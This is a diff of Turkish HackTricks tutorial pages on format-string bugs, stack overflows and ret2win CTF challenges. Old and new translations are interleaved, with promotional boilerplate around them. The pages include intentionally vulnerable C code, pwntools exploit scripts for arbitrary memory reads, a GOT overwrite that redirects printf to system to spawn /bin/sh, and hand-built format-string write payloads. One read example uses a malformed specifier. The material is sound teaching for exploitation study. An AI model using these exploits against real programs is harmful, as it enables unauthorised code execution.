* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR gönderin.
</details>

View file

@ -2,23 +2,23 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek** ister misiniz? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
* **Hacking püf noktalarınızı göndererek PR'ler oluşturarak** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile paylaşın.**
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hackleme püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **takip edin.**
</details>
## Temel Bilgiler
C'de **`printf`** bir dizeyi yazdırmak için kullanılabilen bir işlevdir. Bu işlevin beklediği **ilk parametre**, **biçimleyicilerle** birlikte **ham metindir**. Beklenen **sonraki parametreler**, ham metinden **biçimleyicileri** **yerine koymak için değerlerdir**.
C'de **`printf`** bir dizeyi **yazdırmak** için kullanılabilen bir işlevdir. Bu işlevin beklediği **ilk parametre**, **biçimleyicilerle** birlikte **ham metindir**. Beklenen **sonraki parametreler**, ham metinden **biçimleyicileri yerine koymak için değerlerdir**.
Zafiyet, bir **saldırgan metnin bu işlevin ilk argümanı olarak** konulduğunda ortaya çıkar. Saldırgan, **printf biçim dizesi yeteneklerini kötüye kullanarak** **herhangi bir veriyi herhangi bir adrese yazmak** için **özel bir giriş oluşturabilir**. Bu şekilde **keyfi kod yürütebilir** hale gelir.
Zafiyet, bir **saldırgan metnin bu işlev için ilk argüman olarak kullanıldığında** ortaya çıkar. Saldırgan, **printf biçim dizesi yeteneklerini kötüye kullanarak** özel bir giriş oluşturarak **herhangi bir adresindeki herhangi bir veriyi okuyup yazabilir**. Bu şekilde **keyfi kod yürütebilir** hale gelir.
Biçimleyiciler:
#### Biçimleyiciler:
```bash
%08x —> 8 hex bytes
%d —> Entire
@ -28,24 +28,88 @@ Biçimleyiciler:
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**`%n`** komutu belirtilen adrese yazılan bayt sayısını yazar. Yazılması gereken onaltılık sayı kadar bayt yazarak herhangi bir veriyi yazabilirsiniz.
**Örnekler:**
* Zafiyetli örnek:
```c
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
* Normal Kullanım:
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
* Eksik Argümanlarla:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
### **İşaretçilere Erişim**
`%<n>$x` formatı, `n` sayısını belirterek printf'e yığından n'inci parametreyi seçmesini sağlar. Dolayısıyla printf kullanarak yığından 4. parametreyi okumak istiyorsanız şunu yapabilirsiniz:
```c
printf("%x %x %x %x")
```
ve ilk dördüncü parametreden okuyabilirsiniz.
Ya da şunu yapabilirsiniz:
```c
printf("$4%x")
```
Ve dördüncüyü doğrudan okuyun.
Saldırganın `pr`**`intf` parametresini kontrol ettiğine dikkat edin, bu temelde girişinin `printf` çağrıldığında yığında olacağı anlamına gelir, bu da belirli bellek adreslerini yığında yazabileceği anlamına gelir.
{% hint style="danger" %}
Bu girişi kontrol eden bir saldırgan, yığında **rastgele adres ekleyebilecek ve `printf`'in bunlara erişmesini sağlayabilecek** demektir. Bu davranışın nasıl kullanılacağı bir sonraki bölümde açıklanacaktır.
{% endhint %}
## **Keyfi Okuma**
Biçimleyici **`$n%s`**'yi kullanarak **`printf`**'in **n pozisyonundaki adresi** almasını sağlamak ve onu bir dizeymiş gibi yazdırmak mümkündür (0x00 bulunana kadar yazdırır). Dolayısıyla, eğer ikili dosyanın temel adresi **`0x8048000`** ise ve kullanıcı girişinin yığının 4. pozisyonunda başladığını biliyorsak, ikilinin başlangıcını şu şekilde yazdırmak mümkündür:
```python
from pwn import *
p = process('./bin')
payload = b'%6$p' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
{% hint style="danger" %}
Not: Adres 0x8048000'i girişin başına koyamazsınız çünkü dize, o adresin sonuna 0x00 ekleyecektir.
{% endhint %}
## **Keyfi Yazma**
Biçimleyici **`$<num>%n`**, yığında \<num> parametresinde belirtilen adrese **yazılan bayt sayısını** **yazar**. Bir saldırgan, printf ile istediği kadar karakter yazabiliyorsa, **`$<num>%n`**'yi bir keyfi sayıyı bir keyfi adrese yazacak şekilde yapabilir.
Neyse ki, 9999 sayısını yazmak için, girişe 9999 "A" eklemek gerekli değildir, bunu yapmak için **`%.<num-yazma>%<num>$n`** biçimleyicisini kullanarak **`<num-yazma>`** sayısını **`num` pozisyonu tarafından işaret edilen adrese** yazmak mümkündür.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
### **Sızma Akışı**
Ancak, genellikle `0x08049724` gibi bir adres yazmak için (bu bir seferde yazılacak BÜYÜK bir sayıdır), **`$n`** yerine genellikle **`$hn`** kullanılır. Bu, **yalnızca 2 Bayt yazmaya** izin verir. Bu nedenle, bu işlem iki kez yapılır, biri adresin en yüksek 2B'si için ve diğeri en düşük olanlar için.
Daha önce açıklandığı gibi, bu zafiyetin **herhangi bir adrese herhangi bir şey yazılmasına (keyfi yazma)** izin verir.
Bu zayıflık, **herhangi bir adrese herhangi bir şey yazmaya (keyfi yazma)** olanak tanır.
Amacımız daha sonra çağrılacak bir **fonksiyonun adresini** **üzerine yazmak** olacak. İdeal olarak, adresi yürütülebilir bir bölümde bulunan bir **shellcode**'a ayarlayabilirdik, ancak muhtemelen yürütülebilir bir bölümde bir shellcode yazamayacaksınız.\
Bu nedenle, bir **kullanıcıdan argümanlarını alan bir fonksiyonu üzerine yazmak** ve onu **`system`** **fonksiyonuna işaret etmek** için farklı bir seçenek vardır.
Bu örnekte, amacımız daha sonra çağrılacak bir **fonksiyonun adresini** değiştirmek olacak. Bununla birlikte, bu, diğer keyfi yazma yöntemlerini kötüye kullanabilir:
Adresi yazmak için genellikle 2 adım atılır: İlk olarak adresin **2 baytını yazarsınız** ve ardından diğer 2'sini. Bunu yapmak için **`$hn`** kullanılır.
{% content-ref url="../arbitrary-write-2-exec/" %}
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
{% endcontent-ref %}
**HOB**, adresin 2 daha yüksek baytını çağırır\
**LOB**, adresin 2 daha düşük baytını çağırır
Kullanıcıdan **argümanlarını alan bir fonksiyonun adresini** değiştirip onu **`system`** **fonksiyonuna işaret edeceğiz**.\
Bahsedildiği gibi, adresi yazmak için genellikle 2 adıma ihtiyaç vardır: İlk olarak adresin 2 Bayt'ını yazarsınız ve ardından diğer 2'sini. Bunu yapmak için **`$hn`** kullanılır.
Bu nedenle, format dizesinin nasıl çalıştığından dolayı, önce \[HOB, LOB]'nin **en küçüğünü yazmanız** ve ardından diğerini yazmanız gerekir.
* **HOB**, adresin 2 yüksek baytını çağırır
* **LOB**, adresin 2 düşük baytını çağırır
Sonra, format dizesinin nasıl çalıştığından dolayı, \[HOB, LOB]'un **önce en küçüğünü** yazmanız ve ardından diğerini yazmanız gerekir.
Eğer HOB < LOB ise\
`[adres+2][adres]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
@ -55,9 +119,13 @@ Eğer HOB > LOB ise\
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
\`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'\`
{% code overflow="wrap" %}
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
{% endcode %}
## Pwntools Şablonu
### Pwntools Şablonu
Bu tür bir zafiyet için bir saldırı hazırlamak için bir şablonu aşağıda bulabilirsiniz:
@ -65,14 +133,38 @@ Bu tür bir zafiyet için bir saldırı hazırlamak için bir şablonu aşağıd
[format-strings-template.md](format-strings-template.md)
{% endcontent-ref %}
Ya da bu temel örneği [**buradan**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) bulabilirsiniz:
```python
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
```
## Diğer Örnekler ve Referanslar
* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
<details>
<summary><strong>Sıfırdan başlayarak AWS hacklemeyi</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> öğrenin!</strong></summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizi HackTricks'te reklamını görmek ister misiniz? veya PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerimizi alın**](https://peass.creator-spring.com)
* **💬** [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile katkıda bulunun.**
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te** görmek ister misiniz? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking püf noktalarınızı göndererek PR'lar aracılığıyla paylaşın** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -8,19 +8,19 @@ HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
## Stack Overflow Nedir
Bir **yığın taşması**, bir programın yığına ayrılan kapasiteden daha fazla veri yazdığında meydana gelen bir güvenlik açığıdır. Bu fazla veri, **bitişik bellek alanını üzerine yazacak**, geçerli verilerin bozulmasına, kontrol akışının bozulmasına ve potansiyel olarak kötü amaçlı kodun yürütülmesine neden olacaktır. Bu sorun genellikle girişler üzerinde sınırlar kontrolü yapmayan güvensiz işlevlerin kullanılmasından kaynaklanır.
Bir **yığın taşması (stack overflow)**, bir programın yığına ayrılan kapasiteden daha fazla veri yazdığında meydana gelen bir güvenlik açığıdır. Bu fazla veri, **bitişik bellek alanını üzerine yazacak**, geçerli verilerin bozulmasına, kontrol akışının bozulmasına ve potansiyel olarak kötü amaçlı kodun yürütülmesine neden olacaktır. Bu sorun genellikle, giriş üzerinde sınırların kontrolünü yapmayan güvensiz işlevlerin kullanılmasından kaynaklanır.
Bu üzerine yazmanın ana sorunu, **EIP** ve **EBP** işaretçilerinin önceki işleve geri dönüş için **yığında depolanmasıdır**. Bu nedenle, bir saldırgan bunları üzerine yazabilir ve programın **yürütme akışını kontrol edebilir**.
Bu üzerine yazma sorununun ana nedeni, **EIP** ve **EBP** işaretçilerinin önceki işleve geri dönmesi için **yığında depolanmasıdır**. Bu nedenle, bir saldırgan bunları üzerine yazabilir ve programın **yürütme akışını kontrol edebilir**.
Bu zafiyet genellikle bir işlevin **yığına ayrılan miktarından daha fazla bayt kopyaladığı** için ortaya çıkar, bu nedenle yığının diğer kısımlarını üzerine yazabilir.\
Bu zafiyet genellikle bir işlevin **yığına ayrılan miktarın üzerinde bayt kopyaladığı** durumlarda ortaya çıkar, bu nedenle yığının diğer kısımlarını üzerine yazabilir.\
Buna duyarlı olan bazı yaygın işlevler: `strcpy`, `strcat`, `sprintf`, `gets`, `fgets`...
Örneğin, aşağıdaki işlevler duyarlı olabilir:
@ -34,11 +34,11 @@ printf("You entered: %s\n", buffer);
```
### Stack Taşmalarını Bulma
Stack taşmalarını bulmanın en yaygın yolu, çok büyük bir `A` girdisi vermek (örneğin `python3 -c 'print("A"*1000)'`) ve **`0x41414141` adresine erişilmeye çalışıldığını** gösteren bir `Segmentation Fault` almayı beklemektir.
Stack taşmalarını bulmanın en yaygın yolu, çok büyük bir `A` girdisi vermek (örneğin `python3 -c 'print("A"*1000)'`) ve **`0x41414141` adresine erişilmeye çalışıldığını gösteren bir `Segmentation Fault`** beklemektir.
Ayrıca, Stack Overflow zafiyetini bulduktan sonra, genellikle bir **De Bruijn dizisi** kullanılır. Bu, _k_ boyutunda bir alfabeye ve _n_ uzunluğundaki alt dizilere sahip bir dizi olup, **her olası _n_ uzunluğundaki alt dizinin tam olarak bir kez göründüğü döngüsel bir dizidir**.
Dahası, Stack Overflow zafiyetini bulduktan sonra genellikle **EIP işaretçisini üzerine yazabileceğiniz ofseti bulmanız gerekecektir**, bunun için genellikle bir **De Bruijn dizisi** kullanılır. Bu, _k_ boyutunda bir alfabeye ve _n_ uzunluğundaki alt dizilere sahip bir dizi olup, **her olası _n_ uzunluğundaki alt dizinin tam olarak bir kez göründüğü döngüsel bir dizidir**.
Bu şekilde, EIP işaretçisini üzerine yazmaya başlayan ofseti elle bulmak yerine, bu dizilerden birini dolgu olarak kullanmak ve ardından üzerine yazmayı bitiren baytların ofsetini bulmak mümkündür.
Bu şekilde, EIP'nin elle hangi ofsetin üzerine yazıldığını bulmak yerine, bu dizilerden birini dolgu olarak kullanmak ve ardından üzerine yazmayı bitiren baytların ofsetini bulmak mümkündür.
Bunun için genellikle **pwntools** kullanılabilir:
```python
@ -61,14 +61,14 @@ pattern search $rsp #Search the offset given the content of $rsp
```
## Stack Overflow Sömürme
Taşma sırasında (taşma boyutu yeterince büyükse) yığın içindeki diğer değişkenlerin değerlerini EBP ve EIP'ye (veya daha fazlasına) ulaşana kadar üzerine yazabilirsiniz.\
Bu tür bir zafiyeti istismar etmenin en yaygın yolu, **EIP işaretçisini değiştirerek** işlev sona erdiğinde **kontrol akışının kullanıcının belirttiği yere yönlendirilmesi**dir.
Taşma sırasında (taşma boyutu yeterince büyükse) EBP ve EIP'ye (hatta daha fazlasına) ulaşana kadar yığın içindeki diğer değişkenlerin değerlerini üzerine yazabilirsiniz.\
Bu tür bir zafiyeti istismar etmenin en yaygın yolu, **EIP işaretçisini değiştirerek** işlev sona erdiğinde **kontrol akışının kullanıcının belirttiği yere yönlendirilmesidir**.
Ancak, diğer senaryolarda belki sadece yığında bazı değişken değerlerini üzerine yazmak, sömürü için yeterli olabilir (kolay CTF zorluklarında olduğu gibi).
### Ret2win
Bu tür CTF zorluklarında, **asla çağrılmayan** bir **işlev** **içinde** bulunan ve **kazanmak için çağırmanız gereken bir işlev** bulunmaktadır. Bu zorluklar için sadece **EIP'yi üzerine yazmak için ofseti bulmanız** ve çağrılacak işlevin adresini bulmanız yeterlidir (genellikle [**ASLR**](../common-binary-protections/aslr.md) devre dışı bırakılmış olacaktır), bu sayede zafiyetli işlev geri döndüğünde gizli işlev çağrılacaktır:
Bu tür CTF zorluklarında, **asla çağrılmayan** bir **işlev** **içinde** bulunan ve **kazanmak için çağrılması gereken bir işlev** bulunmaktadır. Bu zorluklarda sadece **EIP'yi üzerine yazmak için ofseti bulmanız** ve çağrılacak işlevin adresini bulmanız yeterlidir (genellikle [**ASLR**](../common-binary-protections-and-bypasses/aslr/) devre dışı bırakılmış olacaktır), bu sayede zafiyetli işlev döndüğünde gizli işlev çağrılacaktır:
{% content-ref url="ret2win.md" %}
[ret2win.md](ret2win.md)
@ -76,7 +76,7 @@ Bu tür CTF zorluklarında, **asla çağrılmayan** bir **işlev** **içinde** b
### Yığın Kabuk Kodu
Bu senaryoda saldırgan, yığına bir kabuk kodu yerleştirebilir ve kontrol edilen EIP'yi kabuk kodusuna gitmek ve saldırganın kodunu yürütmek için kullanabilir:
Bu senaryoda saldırgan, yığına bir kabuk kodu yerleştirebilir ve kontrol edilen EIP'yi kabuk koduna gitmek ve saldırganın kodunu yürütmek için kötüye kullanabilir:
{% content-ref url="stack-shellcode.md" %}
[stack-shellcode.md](stack-shellcode.md)
@ -84,7 +84,7 @@ Bu senaryoda saldırgan, yığına bir kabuk kodu yerleştirebilir ve kontrol ed
## ROP
Bu teknik, önceki tekniğe başlıca koruma olan **Yürütülebilir Yığın**'ı atlatmak için temel çerçevedir. Ve mevcut komutları kötüye kullanarak keyfi komutları yürütmeyi sağlayan (ret2lib, ret2syscall...) birçok başka tekniği gerçekleştirmenize olanak tanır:
Bu teknik, önceki tekniğe başlıca koruma olan **Yürütülebilir Yığın Yok**'u atlatmak için temel çerçevedir. Ve ikili dosyadaki mevcut talimatları kötüye kullanarak keyfi komutları yürütmeyi sağlayan diğer teknikleri gerçekleştirmenize olanak tanır (ret2lib, ret2syscall...):
{% content-ref url="rop-return-oriented-programing.md" %}
[rop-return-oriented-programing.md](rop-return-oriented-programing.md)
@ -94,6 +94,6 @@ Bu teknik, önceki tekniğe başlıca koruma olan **Yürütülebilir Yığın**'
Zafiyetlerin istismarını önlemeye çalışan çeşitli korumalar bulunmaktadır, bunları kontrol edin:
{% content-ref url="../common-binary-protections/" %}
[common-binary-protections](../common-binary-protections/)
{% content-ref url="../common-binary-protections-and-bypasses/" %}
[common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/)
{% endcontent-ref %}

View file

@ -9,14 +9,14 @@ HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Katılın** 💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) veya [**telegram grubumuza**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
## Temel Bilgiler
**Ret2win** zorlukları, özellikle **binary exploitation** içeren görevlerde, **Capture The Flag (CTF)** yarışmalarında popüler bir kategoridir. Amaç, verilen bir binary'deki bir zafiyeti sömürerek genellikle `win`, `ret2win` gibi adlarla adlandırılan belirli bir çağrılmamış işlevi yürütmektir. Bu işlev çalıştırıldığında genellikle bir bayrak veya başarı mesajı yazdırır. Genellikle, istenen işleve yürütme akışını yönlendirmek için **stack** üzerindeki **dönüş adresini** üzerine yazarak bir zafiyeti sömürmek gerekmektedir. İşte örneklerle daha detaylı bir açıklama:
**Ret2win** zorlukları, özellikle **binary exploitation** içeren görevlerde, **Capture The Flag (CTF)** yarışmalarında popüler bir kategoridir. Amaç, verilen bir ikili dosyadaki bir zafiyeti sömürerek, genellikle `win`, `ret2win` vb. gibi adlandırılan belirli, çağrılmamış bir işlevi çalıştırmaktır. Bu işlev çalıştırıldığında genellikle bir bayrak veya başarı mesajı yazdırır. Genellikle, istenen işlevi çalıştırmak için yürütme akışını yönlendirmek için **stack** üzerindeki **dönüş adresini** üzerine yazmak gerekmektedir. İşte örneklerle daha detaylı bir açıklama:
### C Örneği
@ -43,15 +43,15 @@ Bu programı yığın korumaları olmadan ve **ASLR** devre dışı bırakılara
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
* `-m32`: Programı 32 bitlik bir ikili olarak derle (bu isteğe bağlıdır ancak CTF zorluklarında yaygındır).
* `-fno-stack-protector`: Stack overflow'lara karşı korumaları devre dışı bırak.
* `-z execstack`: Stack üzerinde kod çalıştırılmasına izin ver.
* `-no-pie`: Adresin `win` fonksiyonunun değişmediğinden emin olmak için Konum Bağımsız Yürütülebilir'i devre dışı bırak.
* `-m32`: Programı 32 bitlik bir ikili olarak derler (bu isteğe bağlıdır ancak CTF zorluklarında yaygındır).
* `-fno-stack-protector`: Stack overflow'lara karşı korumaları devre dışı bırakır.
* `-z execstack`: Stack üzerinde kodun çalışmasına izin verir.
* `-no-pie`: Adresin `win` fonksiyonunun değişmediğinden emin olmak için Konum Bağımsız Yürütülebilir'i devre dışı bırakır.
* `-o vulnerable`: Çıkış dosyasını `vulnerable` olarak adlandır.
### Pwntools Kullanarak Python Sızma
Sızma için, **pwntools** kullanacağız, sızma yazmak için güçlü bir CTF çerçevesi. Sızma betiği, tamponu taşırarak ve dönüş adresini `win` fonksiyonunun adresiyle değiştirerek bir yük oluşturacaktır.
Sızma için, güçlü bir CTF çerçevesi olan **pwntools** kullanacağız. Sızma betiği, tamponu taşırarak ve dönüş adresini `win` fonksiyonunun adresiyle değiştirerek bir yük oluşturacaktır.
```python
from pwn import *
@ -77,12 +77,12 @@ objdump -d vulnerable | grep win
```
Bu komut, `win` fonksiyonunun makine kodunu ve başlangıç adresini gösterecektir.
Python betiği, `vulnerable_function` tarafından işlenen dikkatlice oluşturulmuş bir mesaj gönderir ve bu mesaj, tamponu taşırarak yığın üzerindeki dönüş adresini `win` adresiyle üzer yazar. `vulnerable_function` geri döndüğünde, `main`e geri dönmek veya çıkmak yerine `win`e atlar ve mesaj yazdırılır.
Python betiği, `vulnerable_function` tarafından işlenen dikkatle oluşturulmuş bir mesaj gönderir ve bu mesaj, tamponu taşırarak yığın üzerindeki dönüş adresini `win` adresi ile üzer yazar. `vulnerable_function` geri döndüğünde, `main`e geri dönmek veya çıkmak yerine `win`e atlar ve mesaj yazdırılır.
## Korumalar
* [**ASLR**](../common-binary-protections/aslr.md) adresin her yürütmede güvenilir olması için **devre dışı bırakılmalıdır** veya işlevin depolanacağı adres her zaman aynı olmayacak ve win fonksiyonunun nerede yüklendiğini belirlemek için bir sızıntıya ihtiyacınız olacaktır.
* [**Yığın Kanaryaları**](../common-binary-protections/stack-canaries.md) da devre dışı bırakılmalıdır veya tehlikeye atılan EIP dönüş adresi asla takip edilmeyecektir.
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **devre dışı bırakılmalıdır** ki adres, her yürütmede güvenilir olsun veya işlevin depolanacağı adres her zaman aynı olmayacak ve `win` fonksiyonunun yüklendiği yeri belirlemek için bir sızıntıya ihtiyacınız olacaktır.
* [**Yığın Kanaryaları**](../common-binary-protections-and-bypasses/stack-canaries/) da devre dışı bırakılmalıdır aksi takdirde tehlikeye düşmüş EIP dönüş adresi asla takip edilmeyecektir.
## Diğer örnekler ve Referanslar
@ -97,7 +97,7 @@ HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -2,21 +2,21 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile</strong></summary>
